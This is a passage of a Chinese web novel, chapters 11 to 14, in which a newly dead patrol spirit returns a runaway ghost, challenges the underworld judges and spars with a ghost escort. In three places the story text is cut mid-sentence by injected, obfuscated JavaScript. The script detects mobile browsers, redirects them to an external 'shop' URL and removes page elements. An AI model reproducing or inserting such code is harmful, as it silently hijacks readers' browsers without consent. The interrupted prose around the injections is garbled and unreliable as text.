“你是不怕。”林正文指了指吴晨曦,“她呢?你妈呢?” 吴母脸色煞白。 吴晨曦咬牙:“那你说怎么办?!难道放了他们?!” “放?那也太便宜他们了。”林正文走到三个男生面前,蹲下身,挨个看了看他们惊恐的脸,“我有更好的办法,能两全其美。” 她站起来,回头看向吴家母女三人:“相信我,只要你们按照我说的做,大家都能满意,我一定会让他们为吴暮雨的死负责——” 吴暮雨身上的戾气渐渐收敛。她看着母亲苍老的脸,看着妹妹疯狂又脆弱的眼神,最后看向林正文。 “你真的能让她们脱罪?” 林正文耸肩:“你可以不信。但你还有别的选择吗?” “现在杀他们,你魂飞魄散,我倒霉。就算不杀他们,把人放了,他们回去一说,你妹坐牢,你妈也逃不了干系。” 吴暮雨沉默了很久。 最后,她抬起头,血红的眼睛颜色变淡。 “好。”她轻声说,“我信你一次。” 林正文咧嘴笑了,转身走向三个男生,活动了一下手腕。 “听我的,阿姨和妹妹先离开,就当今天没有这件事发生。至于这三个家伙,你这样做……” 11. 第 11 章 经过这番折腾,天边已经亮起了鱼肚白。 林正文和吴暮雨正准备去地府,正好撞上范七和两个陌生无常迎面飞来。 两拨人隔空相望。 范七那双死气沉沉的眼睛扫过吴暮雨,又落在林正文身上:“林游神这是……” “抓回来了。”林正文咧嘴一笑,故意扯了扯手里那根临时用鬼气凝成的锁链,“丙等厉鬼吴暮雨,私自逃逸,扰乱阳间。现已缉拿归案。” 她语气里带着几分得意,像个刚完成任务的实习生。 范七身旁的两名无常面面相觑。一个刚上任没几天的游神,单枪匹马抓回丙等厉鬼?这说出去谁信? 一名白衣无常上下打量林正文:“当初送她下地府的时候,我和范七携手才勉强压制,林游神竟然一个人就搞定了?” 林正文耸耸肩:“事实如此。” 范七沉默了两秒:“林游神打算如何处置?” “当然是押回地府,听候发落。”林正文理所当然地说,“怎么,范大人要抢功?” “不敢。”范七微微低头,“只是……此鬼危险,还是由我等押送更为稳妥。” “不劳费心。”林正文摆摆手,拉着锁链就要绕过他们,“我抓的人,我亲自送。这可是我第一次出任务,总得有始有终吧?” 她脚步轻快,嘴里还哼起了小调。 范七看着她的背影,眉头微不可察地皱了一下。 …… 刚走到鬼门关,远远就看到一队鬼兵列队而来,为首的是个身高两米、肩扛百斤大刀的鬼将——正是上次见过的劈山鬼。 他脸色阴沉,周身煞气翻涌,显然心情不佳。 “哟,劈山大人!”林正文眼睛一亮,主动打招呼,“这是要出任务啊?” 劈山鬼停下脚步,目光在她和吴暮雨身上扫过,声如闷雷:“昨日我执勤换班时发现有厉鬼逃逸,当即发了缉捕令,没想到……十世善人果然名不虚传。” 林正文嘿嘿一笑:“那也是托了劈山大哥的福。” 劈山鬼表情渐缓,意味深长的看着在林正文和她手下人畜无害的吴暮雨。 林正文凑近了些,声音更低了,“抓人的时候,吴暮雨差点在阳间杀了三个活人。这也多亏了劈山大哥及时发现,再加上我及时赶到,这才没有酿成大祸……” 她没说完,但意思很明显。 厉鬼逃逸,还差点在阳间杀人。这要是追究起来,当值的鬼将罪责不小。相对“及时发现,及时阻止”的人,那就不一样了。 劈山鬼盯着她看了几秒,突然咧嘴笑了——那笑容配上他狰狞的脸,比哭还难看。 “林游神有心了。”他拍了拍林正文的肩膀,力道大得她差点没站稳,“这次多亏你。等这事了了,我请你喝酒。” “那敢情好。”林正文也笑了,“不过劈山大人,这吴暮雨……虽然逃逸有罪,但事出有因。她生前被人霸凌致死,怨气难消。这次上去,也是因为感应到妹妹要替她报仇,才冒险逃出来阻止的。” 她看了眼身后的吴暮雨:“您看,能不能在判官面前……美言几句?” 劈山鬼沉吟片刻:“按律法,厉鬼逃逸当罚。但若情有可原……判官大人明察秋毫,自有公断。” 这话说得模棱两可,但林正文听懂了——有戏。 “那就多谢劈山大人了。”她拱手,“您先忙,我押人去判官殿。” “去吧。”劈山鬼让开道路,“我随后就到。这事……我也得去说道说道,枉死城归卞城王管理,竟然能让厉鬼逃出去,此事枉死城和鬼门关守卫,都逃不脱干系。” 林正文心里一松,拉着吴暮雨继续往前走。 等走远了,吴暮雨才轻声开口:“现在回想,当初逃出去好像有些过于轻松了。” 林正文点头:“我妈说过,有些事过于顺利,就是有鬼。” 这地府的水果然很深。 判官殿还是林正文之前来时那样,一来就感觉压抑,若是心里有鬼的人,恐怕一进来就得把自己小时候偷看家里狗□□都说出来。 高高的案台后坐的人还是那几位。 林正文拉着吴暮雨走进大殿时,能感觉到他们目光同时落在身上。 有审视,有怀疑,有冷漠。 林正文如今已经知道他们各自的身份了。 四位判官——崔判掌生死簿、钟判管罚恶司、魏判纠冤案、陆判修阴律,相当于人间的公检法。 六案功曹——天、地、冥,神、人、鬼,各分两班,负责其他地府公务,相当于人间的各个部门。 “几位大人都在?日夜游神林正文,拜见各位大人。”她学着古装剧里的样子,随意拱了拱手,“逃逸厉鬼吴暮雨,已缉拿归案。” 崔判缓缓开口:“十世善人果然名不虚传。” 和劈山鬼的话一模一样,语气却透着阴冷古怪。 两个鬼差上前想押解吴暮雨,林正文横移一步,挡住他们的去路。 “林游神,这是何意?”钟判横眉一竖,声音在大殿内震荡。 “嘿嘿,请问吴暮雨将如何处置?” 主位的崔判翻开厚重的簿册,“丙等厉鬼吴暮雨,于前夜丑时私自逃逸枉死城,潜入阳间,扰乱阴阳秩序。按律当打入寒冰地狱,受刑百年。” 吴暮雨身体一颤,眼中浮现惊恐,不自觉往林正文身后缩。 林正文立刻开口:“判官大人,容我禀报。” “讲。” “吴暮雨逃逸事出有因。”林正文上前一步,声音清晰,“因为感应到阳间的妹妹要替她报仇,恐妹妹铸成大错,才冒险前往阻止。” “她到阳间后,并未伤人。我赶到时,亲眼见到她正在阻止妹妹行凶。” 她说着,还对上面恭维地拱拱手:“几位大人神通广大,不用我说,肯定也能明辨是非。” 崔判旁边的紫袍天曹冷笑:“照你这么说,她逃逸不但无罪,反倒有功了?” “功不敢说。”林正文直视他,“但情有可原。地府律法森严,但也该通情理。吴暮雨逃逸是为了救亲人,救活人,这难道不比那些为一己私欲逃逸的恶鬼强?” “就算阳间的法律在判刑的时候,也要考虑主观性。地府难道比阳间还要落后。” “强词夺理!”陆判拍案,“逃逸就是逃逸,何来情有可原之说?若每个鬼魂都因‘情有可原’而私自逃逸,地府秩序何在?!” 大殿里气氛骤然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094198|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧张。 林正文却笑了。 她笑得有点痞,有点混不吝,就像生前每次犯错在家里被父母训一样。 “判官大人说得对,逃逸就是逃逸。”她点点头,话锋突然一转,“但我想问问各位大人——为什么吴暮雨要逃?” 十位官员皱眉。 “因为地府制度有问题。”林正文声音提高,“人死后,有冤的鬼魂要在地府苦等,等到害死他们的人阳寿尽了,下了地府,才能审判报仇。” “短则几年,长则几十年上百年。这期间,鬼魂怨气不散,无法投胎,只能在枉死城里熬着。” 她环视案台后的人:“害人者在阳间逍遥快活,该吃吃该喝喝,说不定还继续害人。这合理吗?” 青袍地曹厉声道:“阴阳有序,此乃天道!” “天道?”林正文嗤笑,“我不信你们没看过我直播,天道要是真这么死板,就不会让冤魂在网络上现行了。” 她大步冲上去,双手撑在崔判和天曹的案台边缘——这个动作大胆得让几个鬼差倒吸冷气。 “各位大人,阳间这些年变化多大,你们知道吗?法律越来越健全,观念日新月异。可地府呢?还守着千百年前的老规矩。” “民间为什么不信‘恶有恶报’了?” “因为看不到!” 她直起身,语气变得严肃:“地府存在的意义是什么?是警醒世人。” “以前阳间律法不完善,地府的存在正好让人知道作恶要付出代价。可现在呢?阳间法律越发健全,地府却还故步自封!长此以往,还有什么存在的必要?” 大殿里死一般寂静。 十位官员脸色各异。有人若有所思,有人面露怒容,有人眼神闪烁。 林正文趁热打铁,冲着上方挥拳:“我们应该抢业绩,抢KPI,抢香火!” “让阳间的人知道,任何时候都不能心存侥幸,也不是死了就一了百了。不仅活着要受到惩罚,死后还有更严重的后果!” “让那些作恶的人活着时就提心吊胆,一想起死后要下地狱,连小偷小摸都不敢!” “这样才能阴阳两界共同发展,共同平衡。鬼差们工作轻松了,枉死城的冤魂少了,投胎效率提高了——这不比现在这潭死水强?” 她抬手指向吴暮雨:“如果地府制度合理,吴暮雨这样的冤魂能得到及时伸张,她还会冒险逃逸吗?根本不会!所以这事,根子上是地府的问题!” 话说完,大殿里落针可闻。 良久,崔判缓缓开口:“林游神,你这是在指责地府制度?” “不敢。”林正文嘴上说着不敢,眼神却毫不退缩,“我只是提个建议。各位大人英明神武,肯定比我这个小游神看得长远。” 最末端的靛袍鬼曹突然轻笑出声。 “有意思。”他捋了捋长须,“林游神这番言论,倒是新鲜。只是……地府运行千年,自有其道理。岂是随便冒出来那个人觉得不公就能改的?” “改不了可以慢慢调嘛。”林正文没理会他对自己的阴阳怪气,“阳间的法律不也是一点点完善起来的?总比一成不变强。” 就在这时,殿外传来掌声—— “啪啪啪!” 12. 第 12 章 “说得好!”劈山鬼大步流星地走进来,先是对十位官员点了点头,然后站到林正文身边。 “各位大人。”他声如洪钟,震得大殿回声嗡嗡,“林游神所言,属下觉得有些道理。而且,吴暮雨逃逸之事,还有些疑点没有查清,一个最低级的丙等厉鬼何至于畅通无阻的返回阳间?” 他顿了顿,补充道:“鬼帝大人近日即将出关。若是她老人家知道此事,肯定也会过问的。” “鬼帝”二字一出,十位官员脸色都变了变。 地府最高层是十殿阎罗和五方鬼帝,但他们常年闭关,很少过问政务,权力基本下放给六案功曹和四大判官。 这不代表他们没威慑力——在地府,实力才是硬道理。 主判官沉吟许久,终于开口:“厉鬼吴暮雨,逃逸之事证据确凿。但念其情有可原,且未造成大祸……暂且押回枉死城,听候发落。” 这等于暂时不判了。 吴暮雨松了口气。 林正文也笑了:“判官大人英明。” “至于林游神……”主判官看向她,眼神复杂,“你今日所言,我等自会斟酌。退下吧。” “得嘞。”林正文拱手,拉着吴暮雨退出大殿,“不劳几位鬼差大哥,我送她去枉死城,你们忙着吧。” 经过劈山鬼,她嬉笑着拍了一下对方的胳膊,两人交换了个眼神,这才分道扬镳。 走出判官殿很远,刚才大气都不敢喘的吴暮雨,才长长吐出一口气。 她崇拜地看着林正文:“你真厉害,竟然能在他们面前说那么多话。” “刚才真吓死我了。”她抹了把不存在的汗,“虽然我早就做好魂飞魄散的准备,但真到了这一步,还是……总之,谢谢你。” 林正文耸耸肩:“不用这么客气,他们不说我是十世善人嘛,特权这东西,过期作废,不用白不用。” 最差也不过是个死,活着的时候她都不怕,更何况已经死过一次的人。 心里是这么想,面上却依旧嬉皮笑脸故作轻松:“你也别把他们想的太高高在上。公务员都是为人民服务的,地府的公务员,也得如此。” 她拍了拍吴暮雨的肩膀:“行了,送你回枉死城。好好待着,别乱跑了。你妹妹和你妈那边,我会盯着。” “还有那三个家伙,不会轻飘飘的算了。” 吴暮雨深深看她一眼,弯腰行礼:“多谢。” “客气。” …… 判官殿内,十位官员并未散去。 天曹缓缓开口:“此女……不简单。” 鬼曹冷哼:“巧舌如簧,竟然连劈山鬼都被她蛊惑了。” “蛊惑?”崔判却摇头,“就怕是西方鬼帝也对我们有意见了,劈山鬼只不过是借题发挥。” 刚才一直没说话的魏判缓缓开口:“其实,她说的那些话,不能说没有一点道理。” 崔判不满:“你也信她的鬼话?!” “是不是鬼话,你我心里清楚。”魏判淡淡道,“阳间香火日益减少,枉死城冤魂越积越多……再这样下去,地府迟早要出问题。” 他看向崔判:“我觉得……或许可以暂时观望。看看这个林正文,到底能折腾出什么名堂。” 崔判沉默良久,缓缓点头:“暂且如此。” 刚才就不满林正文对地府制度指指点点的陆判,还是坚持主张不变:“此女不是个善茬子,今日她能说动劈山鬼为她说话,来日就能说动更多人。若让她继续下去……” 他没说完,但意思很明显。 可等他环视一周,却惊讶的发现,其他人并没有像以往那样坚定立场,尤其是主管纠错案的魏判。 这让他意识到一件事,十人不再是铁板一块了。 原本他们只当林正文是个冲动鲁莽的愣头青,放出吴暮雨,是想引她犯错。谁料她不但没犯错,反而把事情处理得漂亮,还反过来将了他们一军。 这样的对手,比预想危险得多。 陆判不满冷哼:“想想劈山鬼身后的人。现在就开始撑腰了,再让她继续发展下去,以后地府哪还有咱们十个老东西的立锥之地!” 魏判表情沉了下去:“我只是觉得,地府……也是时候有些改变了,但不能是一个外人。” 其他原本有些松动的人,也抿紧了唇,缓缓点头。 已经走出很远的林正文,突然打了个寒颤。 她回头看了眼判官殿的方向,眯起眼睛。 “这地方阴森森的,我是真不喜欢,以后还是尽量少来。” …… 直播关闭后的当天,王浩、张明、李强三人被正式批捕。 由于涉及亲属避嫌原则,吴暮雨跳楼案重启调查后,郑砚安不等领导开口,就主动退出了专案组。 这让他对妹妹的承诺——找出王浩等人的罪证手机——没有做到。 但他一直关注“游神直播”相关的网络影响,和王浩三人的审讯情况。 这天下班后,郑砚安没回自己住处,而是直接开车回了父母家。 开门时,客厅里电视正播着晚间新闻。 “回来了?”林祺瑞抬头,“吃饭没?” “吃过了。”郑砚安脱了外套,在单人沙发坐下,沉默了几秒才开口,“爸,妈,有件事……我拿不准。” 郑觉凯摘下眼镜,捏了捏鼻梁:“关于正文的?” 郑砚安点头,搓了把脸:“王浩三人被绑一案,我始终有些疑虑。” “哦?”林祺瑞意义不明地勾起嘴角,轻声问,“什么疑虑?” 郑砚安身体前倾,压低声音,“三个人,分开审讯,口供高度一致,全说是吴暮雨的鬼魂绑架了他们,逼他们认罪。从头到尾,没提过第二个人。” 他顿了顿:“可是妈,我感觉不对劲。” “爸,妈。”他抬起头,声音干涩,“厉鬼……能在阳光下正常行走?能像活人一样被监控拍到吗?” 林祺瑞和郑觉凯对视一眼,表情怪异起来。 “肖晴那次,直播里她也是半透明的。”郑砚安没看见父母的表情,继续说,“可吴暮雨在监控里……是个实体。如果厉鬼都能这样,那阳间的监控系统还有什么用?” 他顿了顿,说出最深的疑虑:“还是说……监控拍到的,根本就是活人?” 这个疑问始终压在他心底。可惜,案子已经从他手里转出去了,他没有权利擅自调查。 “你怀疑……”郑觉凯缓缓道。 “我怀疑监控里那个女生,根本就不是吴暮雨。”郑砚安语速加快,“不提鬼魂能不能在太阳底下行走,就算能,也应该是直播里半透明的样子吧?” “可那监控底下的人——”他没说完,但意思很明显。 林祺瑞欣慰地与丈夫交换了个眼神,笑着从茶几抽屉里拿出一份薄薄的档案。 “你自己看看吧。” 郑砚安连忙坐直上身,迫不及待地看了起来。 看到第一行字,他就愣住了,眼神恍然,神情略有些放松。 “吴晨曦,十七岁,七岁确诊双相情感障碍伴自残倾向。监护人:母亲吴秀兰,姐姐吴暮雨。初中后没有入学记录,没有本地就诊记录 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094199|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” “我没猜错,真是这样。” 林祺瑞轻声说:“虽然我不知道她是怎么做到的,但王浩三人一口咬定是吴暮雨的鬼魂所为。” “就算追究绑架的事,又能怎么样呢?他们除了挨了几下揍,也没有别的损伤,至少表面上没有。” “他们承认的罪行,猥亵、QJ未遂、胁迫致人死亡,却会因为在众目睽睽下的直播,进入司法程序。” 她看着儿子:“你觉得,这是巧合吗?” 郑砚安瞪大了眼:“您是说……正文她……” “我们什么也没说。”郑觉凯打断他,“砚安,你要记住——不管真相是什么,现在的结果,对所有人都好。” “吴晨曦和她妈妈能继续生活。王浩三人会受到法律严惩。吴暮雨的冤屈得以昭雪。而阳间法律的公信力……也没有被真正打破。” 夫妻俩对视一眼:“正文真的成长了。” 郑砚安的情绪被这句话打破,他看着携手对望、面露欣慰的爸妈,往沙发上一靠,无语地叹了口气。 他不想再聊下去了,更不想听他们夸女儿。 动作丝滑地在沙发上转了个方向,脚往扶手上一搭,背向后仰,自顾自看起新闻。 客厅里安静下来。 电视里,新闻主播正在播报另一条消息:“……前宏远贸易总经理王友良,涉嫌QJ罪、强制猥亵罪、诽谤罪、侮辱罪,且存在累犯、情节恶劣、造成死亡后果等从重情节,今日在市中级人民法院一审宣判……” 画面切换到法庭。 王友良戴着手铐站在被告席,脸色灰败,眼神涣散。 法官宣判的声音清晰传来:“……数罪并罚,决定执行有期徒刑二十年……” 郑砚安盯着屏幕,突然想起什么。 “王友良的案子,另一个受害人站出来作证了。就是直播里实名举报的那个姑娘……之前网上还有人说,她拿了钱,就代表想私了。现在又出来告人家,是又当又立。” “可笑,说这话的人真该去看看普法课。王友良愿意拿钱私了,就代表加重嫌疑,他不心虚干啥这么做。” “拿钱不应该吗?刑事判决和民事赔偿不起冲突。” “听说庭审很顺利。”林祺瑞说,“王友良当庭认罪,对指控全部承认。” “他被直播吓破胆了。”郑觉凯冷哼一声,“从看守所提审时,就一直在说‘游神饶命’,几次做梦吓醒,大小便都控制不住。心理评估显示他有严重的创伤后应激障碍。” 郑砚安想起妹妹那永远没个正形的脸,心情复杂中还带着几分骄傲。 “还有那些跟风网暴的。”林祺瑞接着说,“根据转发、评论数量和社会影响,行政拘留了三十七人,治安处罚一百多人。网信办那边说,几个平台最近‘干净’得不像话。” 与此同时,林正文的直播间热度开始消退。 网上关于“游神”的讨论渐渐从狂热转为理性。有人开始分析直播中的细节,有人探讨阴阳两界的法律衔接,还有人试图总结“游神办案”的规律。 当然,也少不了想蹭热度的。 从第一次直播的第二天,全网各个平台就冒出来七八个名字相似的直播间:《地府游神在线托梦》《阴阳使者在线审判》《我是游神我摊牌了》……还有些相关题材的,比如《无常在线索魂》《我是牛头……》 主播们穿着仿古装,打着阴间滤镜,用变声器讲着胡编乱造的“灵异事件”。还真吸引了不少猎奇的观众,打赏收入不菲。 其中一个叫“无常范九”的主播最嚣张。 13. 第 13 章 他在直播里信口开河:“昨天我去地府跟判官喝酒,他说最近阳间恶人太多,害他总加班,让我多抓几个。老铁们刷个火箭,我今晚就去把你们公司那个黑心老板的魂勾了!” 弹幕里嘻嘻哈哈,火箭飞机乱飞。 这场闹剧在第四天戛然而止。 那天晚上,“无常范九”正在直播吹牛,直播间突然黑屏,背景的说话声却传了出来。 “我们是市公安局网安支队的。你涉嫌利用网络平台传播封建迷信、虚构事实扰乱公共秩序,请跟我们走一趟。” 同样的一幕,在其他几个仿冒直播间陆续上演。 警方行动迅速,一天之内,七八个“地府公务员”全部落网。 通报发出来时,网友们才恍然大悟——原来国家并没有放任的意思,这一波打击,算是把不少人浮动的心绪压了下去。 “活该!蹭热度蹭到局子里去了!” “真当游神大人是谁都能当的?” “警察叔叔干得漂亮!” “这下清净了,看谁还敢假冒!” 从那以后,网上再也没有人敢打着“地府”旗号招摇撞骗。 真正的游神直播间,反而更显神秘。因为她轻易不开播,开播即代表有大案子了。 他们真正期待的是那个看着吊儿郎当,遇事真出头的女人。 夜深了。 林正文飘在自家窗外,看着父母卧室的灯九点就熄灭了。 “奇怪,怎么感觉最近他们加班少了?天天都正常下班。” “生前要是能这样就好了……” 林正文也没细想,飘到楼顶打开系统界面。 【当前香火值:3872】 【当前功德值:10】 【当前鬼气值:13】 苏暮雨的案子,虽然只直播了不到一个小时,但网友们都非常热情,打赏不断。转换成香火非常可观。 整数香火值转换成功德值,最后获得40点功德值,剩余872点香火值。 这次林正文比上次爽快多了,提升实力势在必行。 【消耗30功德值】 【获得初级蕴气丹×3】 【是否立即使用?】 “使用。” 三颗半透明的丹药成品字形,出现在她面前。林正文迫不及待地张嘴,丹药自动飘入,四肢百骸瞬间有种被填充的感觉,甚至身体开始剧烈胀痛,像是要被撑裂似的。 林正文表情扭曲地咬牙忍耐。 【鬼气值提升中……】 【当前鬼气值:43】 林正文面露喜色,两道精光从眼中一闪而过。 “鬼气值43!”她看着双手,反复攥拳体会暴涨的力量。 “哈哈哈!我现在可不怕你!” “范七,来战!” 林正文对着夜空吼了一嗓子,浑身充盈的鬼气让她有种能一拳打穿两界壁垒的错觉。 43点鬼气值,距离范七的45点只差临门一脚,四舍五入就是并驾齐驱! 她兴奋地凌空挥拳,带起的阴风卷起楼顶几片落叶。军体拳的招式混杂着散打技巧,在她手中虎虎生风。 “直拳!摆拳!勾拳!”她嘴里念念有词,一个侧踢踹向虚空,“再来个撩阴腿!” 就在她沉浸在实力暴涨的喜悦中时,一个冰冷的声音从身后传来—— “林游神好兴致。” 林正文动作僵住,猛地抬头。 范七不知何时悬在她头顶半空,还是那身黑衣,还是那张死人脸,勾魂锁松松垮垮地缠在腕间,在夜色下泛着幽光。 林正文吓了一跳,随即斗志就燃起,“来得正好!” 她也不问范七来干嘛——管他呢,先打了再说! 脚下一蹬,魂体如离弦之箭般射向范七,右手攥拳,裹挟着暴涨的鬼气,直冲对方面门! 这一拳又快又狠,带着散打中“一击必杀”的狠劲儿。 林正文生前打架就这风格:不讲武德,只讲效果。能打鼻梁绝不打额头,能踹下阴绝不踢大腿。 范七身形未动,只是微微侧头。 拳头擦着他耳际划过,带起的阴风撩动他几缕发丝。 “太慢。”他轻描淡写的评价。 “还没完呢!” 林正文落地瞬间拧腰,左腿如鞭子般甩出,直踢范七侧腰——人体肾脏位置,挨一下能让人疼得直不起腰。 范七这次没躲。 “嘭!” 脚踝结结实实踢中目标。不等林正文露出喜色,就表情一变——触感不对! 不像踢中实体,更像是……踢进了一团粘稠湿冷的海绵? 范七低头看了看踢进自己腰里的脚,又抬眼看向林正文:“鬼魂没有腰子。” 林正文一愣。 就这分神的刹那,范七动了。 他动作简单到近乎朴素。向前一步,右手成爪,直取林正文咽喉。没有花哨的变招,没有多余的动作,就是快,准,稳。 林正文身体侧仰,同时右手并指如刀,下意识就要插他腋下。将要碰触时,及时刹车,整个人向后躲闪。 范七伸掏了个空。 “你……”范七讶异地抬眼看她,“反应不错。” 林正文眼珠一转,在空中拧腰转向,整个人都撞进他怀里,膝盖猛地往上一顶。 “我就不信,就算死了,生前也是个男人!” 本能反应不受控,男人就算下面穿个铁裤衩,被攻击的时候也会下意识躲一下。 没想到这会林正文又错了,对方根本就是一动不动。 范七终于皱了皱眉——不是疼的,是嫌烦。 他手腕一抖,缠在腕间的勾魂锁如灵蛇出洞,“嗖”地缠上林正文探出的腿。顺势一绕,将她单腿朝上,倒吊在空中。 “打架就打架,专攻下三路,什么毛病。” 林正文用另一支脚使劲蹬那条锁链,锁链越收越紧,阴冷的气息顺着皮肤往魂体里钻,冻得她牙关打颤。 “放开!”她吼道,“有本事堂堂正正打一场!” “刚才不挺堂堂正正的吗?”范七面无表情,“撩阴腿,插腋下,锁喉——林游神这套路,在阳间怕是没少打架吧?” “要你管!”林正文气恼,“赶紧放开!这什么破锁链,冻死我了!” 范七手指一勾,勾魂锁松开,缩回他腕间。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094200|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林正文在空中转了个身,死死瞪着范七。刚才那一番交手,让她彻底清醒了。 “为什么……”她喘着气,“为什么我打你都没用?那些要害……” “你是活人打多了。”范七语气平淡,“活人有穴位,有神经,有脏器。鬼魂有什么?一团凝聚的阴气,一份未散的执念。你打那些位置,就像对着空气挥拳——除了消耗自己鬼气,毫无意义。” 他顿了顿,补充道:“除非你的鬼气强到能直接震散对方魂体。但你现在……还差得远。” 林正文不说话了。 她想起刚才发生的一切,气得使劲踹了一脚空气。她那些专攻要害的流氓招式,在阴间根本就是一点用都没有。 “那该怎么打?”她闷声问。 范七看了她几秒,突然抬手,勾魂锁再次射出。 这次林正文有了防备,侧身想躲。 但那锁链像长了眼睛,回旋镖似的在空中划出一道诡异的弧线,不偏不倚缠上她的脖子。那一瞬间,林正文有种命门被勒住的感觉,鬼气都使不出来了。 虽然不用呼吸,但那一刻,她还是有种窒息的感觉,那是本能地恐惧。 索性范七也不是真的想对她做什么,手指一勾,锁链松开。 林正文脸色难看,抚着自己的脖子——虽然不疼,但丢人。 “善用法器。”范七晃了晃腕间的勾魂锁,“你在地府看到的鬼差,有哪个是赤手空拳的。” 林正文想了想,黑白无常的勾魂锁、哭丧棒,劈山鬼的大刀……这才恍然大悟。 范七又道:“你想近战,起码得到鬼兵级别才行。随着对鬼气的运用越发熟练,除了攻击,还可以通过迷惑、诱导等方式得到你想要的结果。” 他走到林正文面前,俯视着她:“鬼气43,确实不低。但林游神,在地府,光有鬼气不够。你得知道怎么用。” 林正文表情严肃起来。 刚才那点膨胀的斗志,此刻彻底熄灭了。取而代之的是一种熟悉的清醒—— 上一次还是13岁那年,林正文拿到青少年散打比赛冠军,回家挑衅她哥,被揍了一顿。 “懂了。”她吐出一口气,“谢谢,你给我上了一课。” 范七挑眉——这倒是意外。他本以为按这位的性子,得再嘴硬几句。 “不过范七,”林正文抬起头,咧嘴笑了,“下次再打,我可不会这么容易输了。” 她眼中没了刚才的狂傲,却多了某种更扎实的东西。 范七点点头:“随时恭候。” 他转身,正要离开,林正文突然叫住他:“对了,你大半夜跑来,不会就为了给我上课吧?” 没想到范七竟然点头:“这次厉鬼出逃提醒了我,你实力太差,下次再有集体活动,会拖后腿。” “我?拖后腿!”林正文气得瞪大眼睛。 “下次,我一定把你压在地上打!”她指着对方背影大喊,“你给我等着!” 范七轻哼了一声,头也不回的消失在夜空中。 看着他的背影,林正文心中总觉得不安,但让她再把人叫回来,她又开不了口。 想了想,一咬牙往郊外飞去。 14. 第 14 章 城隍庙烟火缭绕,香客络绎不绝。 林正文盘腿坐在供桌一角,看着对面穿着明代官袍、面如红枣的老城隍。 呼吸间,一缕缕香火顺着鼻端涌入。 她吸的是城隍香火,算是到别人家被请吃了一顿饭。想到这,心中压了一晚上的郁气松解了些。 “所以说,七月十五,鬼门大开,地府亡魂都可以返阳?”林正文惊愕大呼,“那不乱套了!” 老城隍捋了捋长须,声音浑厚:“正是。此乃古制,让亡魂享祭祀,解思念,本是好意。” 他顿了顿,眉头皱起:“但每年这一夜,也是吾等最忙碌之时。孤魂争抢香火,怨鬼滋扰生人,更有那等恋栈阳间之辈,时辰到了也不肯归去。” 林正文想起吴暮雨:“枉死城的也能出来?那十八层地狱呢?” “枉死城无碍。十八层地狱的亡魂,若无特许,不可。”城隍摇头叹气,面露愁色,“但七月十五,地府部分鬼兵也会下界,导致地府防御薄弱,总有些机灵的,或是拖熟人找关系,或是寻到缝隙……唉,防不胜防。” 他看向林正文:“林游神,咱们这辖区,旧城区、待拆迁片、还有那片老厂区,皆是阴气积重之地。届时,还须多加巡查。” 林正文来了精神:“具体要干啥?” “首要,盯着那些享祭的,莫要争抢斗殴。” “其次,若见鬼魂接近体质虚弱的生人,孩童、病患、或八字轻者,须及时驱离。” 城隍掰着手指:“再者,晨昏交界之时,鬼门将闭,若有滞留者,当强制遣返。若遇反抗,可武力压制。” 他意味深长的看了林正文:“到时……就是拼手段的时候了。” 林正文表情僵住了。 她想起昨晚被范七吊打的场景。 勾魂锁一缠,任你多大劲都使不出来。她现在空有43点鬼气,可面对十几个、几十个不想回去的鬼魂…… 一起扑上来,不得把她挤成个饼! “那个……城隍大人,”她搓着手,笑得有点谄媚,“咱这儿……有没有富余的装备?借我使使?七月十六保证还!” 城隍似笑非笑地看着她:“地府法器,皆需功德兑换。本官亦无权私相授受。” 林正文蔫了。 告别城隍,她飘出庙宇,脑子里飞快盘算。 系统界面里还剩10点功德,872点香火。一把最基础的制式勾魂锁要50功德,也就是5000香火。差得太远。 “得搞钱……不对,搞功德。”她自言自语。 飘到一半,她突然停住。 “对了,直播!” 上次吴暮雨案直播,可是让她尝到甜头了。要是开一场专门讲解七月十五禁忌的直播,既能提醒阳间的人,又能赚香火…… 说干就干。 当晚十点,林正文的直播间突然开启。 标题很简单:【七月十五,那些你不知道的事】 早就设置特别关注的网友们瞬间涌入,在线人数几分钟内突破一万。 【游神大人晚上好!】 【终于开播了!等好久了!】 【这次是什么案子?】 【背景是荒野草地?难道还在之前的旧校区?】 镜头里,林正文翘着二郎腿靠在一棵树干,身后是远处城市璀璨的夜景。 她今天跟城隍学了一手,给自己换了套酷飒的黑色劲装——虽然还是半透明,但总算有了点“公务员”的样子。 “晚上好啊各位。”她冲着镜头咧嘴一笑,“今天没案子,就是唠唠嗑。” 弹幕一片【不信】。 “真的。”林正文正色道,“过几天就是七月十五,鬼节。有些事得提醒大家。” 她掰着手指,一条条说: 